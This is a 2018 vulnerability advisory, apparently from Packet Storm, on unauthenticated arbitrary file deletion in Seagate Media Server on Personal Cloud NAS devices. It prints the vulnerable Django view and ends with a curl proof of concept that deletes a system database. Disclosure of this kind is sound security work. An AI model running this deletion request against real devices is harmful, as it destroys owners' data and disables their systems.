Twenty Year Anniversary

Seagate Media Server Arbitrary File / Folder Deletion

Seagate Media Server Arbitrary File / Folder Deletion
Posted Jan 15, 2018
Authored by Yorick Koster, Securify B.V.

Seagate Media Server on a Seagate Personal Cloud model SRN21C running firmware version 4.3.16.0 suffers from an unauthenticated arbitrary file and folder deletion vulnerability.

tags | exploit, arbitrary
MD5 | 5ae797b5faaf3d32724a1d8e66d233b3

Seagate Media Server Arbitrary File / Folder Deletion

Change Mirror Download
------------------------------------------------------------------------
Seagate Media Server allows deleting of arbitrary files and folders
------------------------------------------------------------------------
Yorick Koster, September 2017

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
Seagate Personal Cloud is a consumer-grade Network-Attached Storage
device (NAS). It was found that Seagate Media Server can be used by
unauthenticated attackers to delete arbitrary files and folders on the
NAS. Since Seagate Media Server is running with root privileges it is
possible to remove almost any file on the NAS. The application lacks
protection against CSRF attacks, and is accessible via the
personalcloud.local domain name. Due to this it is possible to exploit
this issue via a malicious website without requiring the NAS to be
directly accessible over the internet.

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was tested on a Seagate Personal Cloud model SRN21C running
firmware version 4.3.16.0. It is likely that other devices/models are
also affected.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
Seagate has released firmware version 4.3.18.0 in which the vulnerable
endpoint is no longer exposed, which as a result fixes this issue.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2017/seagate-media-server-allows-deleting-of-arbitrary-files-and-folders.html


Seagate Media Server uses the Django web framework and is mapped to the .psp extension. Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol.

/etc/lighttpd/conf.d/django-host.conf:

fastcgi.server += (
".psp"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
)),
".psp/"=>
((
"socket" => "/var/run/manage_py-fastcgi.socket",
"check-local" => "disable",
"stream-post" => "enable",
"allow-x-send-file" => "enable",
))
)

URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. The delete view is mapped to the delete.psp URL path. This views allows users to delete files from shares.

(r'^m/delete.psp', delete),
(r'^delete.psp', delete),

The delete.psp endpoint is accessible for unauthenticated users. No validation is performed on the paths that are provided to this endpoint. Consequently, any path can be provided and the application will attempt to remove the provided path(s).

/usr/lib/django_host/seagate_media_server/views.py:

@csrf_exempt
def delete(request):
if (checkDBSQLite()) : return render_to_response("database_init.html")
#syslog.syslog("delete()")
try: #D.L. 1/19/2013 If exception happens - return stat: failed

pathToDelete = request.POST.get('pathToDelete','')
#logDebug("pathToDelete: '%s'", pathToDelete)
fileFolderPath = json.loads(pathToDelete)
some_files_do_not_exist = False #D.L. 1/19/2013
data = fileFolderPath["data"]
if data.has_key("folders") and data["folders"] != '':
for folder in data["folders"]:
folder = urllib.unquote(folder.encode('utf-8'))
#syslog.syslog("folder %s" % folder)
if os.path.isdir(folder): #D.L. 1/19/2013
DBRecords.Records().callDatabaseDelete(folder,PriorityLevel.UI)
shutil.rmtree(folder)
else: #D.L. 1/19/2013
#syslog.syslog("folder %s is not a dir" % folder)
some_files_do_not_exist = True #D.L. 1/19/2013

if data.has_key("files") and data["files"] != '':
for file in data["files"]:
file = urllib.unquote(file.encode('utf-8'))
#syslog.syslog("file %s" % file)
if os.path.exists(file): #D.L. 1/19/2013
DBRecords.Records().callDatabaseDelete(file,PriorityLevel.UI)
os.remove(file)
else: #D.L. 1/19/2013
#syslog.syslog("file %s does not exist" % file)
some_files_do_not_exist = True #D.L. 1/19/2013
[...]

Proof of concept

The curl command below uses the delete.psp endpoint to delete the /etc/unicorn.db file, effectively disabling the management web application.

curl -i -s -k -X $'POST' \
--data-binary $'pathToDelete={\"data\":{\"folders\":[\"/etc/unicorn.db\"]}}' \
$'https://personalcloud.local/delete.psp'


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

August 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    19 Files
  • 2
    Aug 2nd
    17 Files
  • 3
    Aug 3rd
    16 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    1 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    15 Files
  • 8
    Aug 8th
    9 Files
  • 9
    Aug 9th
    7 Files
  • 10
    Aug 10th
    10 Files
  • 11
    Aug 11th
    1 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    14 Files
  • 14
    Aug 14th
    18 Files
  • 15
    Aug 15th
    38 Files
  • 16
    Aug 16th
    16 Files
  • 17
    Aug 17th
    22 Files
  • 18
    Aug 18th
    3 Files
  • 19
    Aug 19th
    3 Files
  • 20
    Aug 20th
    21 Files
  • 21
    Aug 21st
    7 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close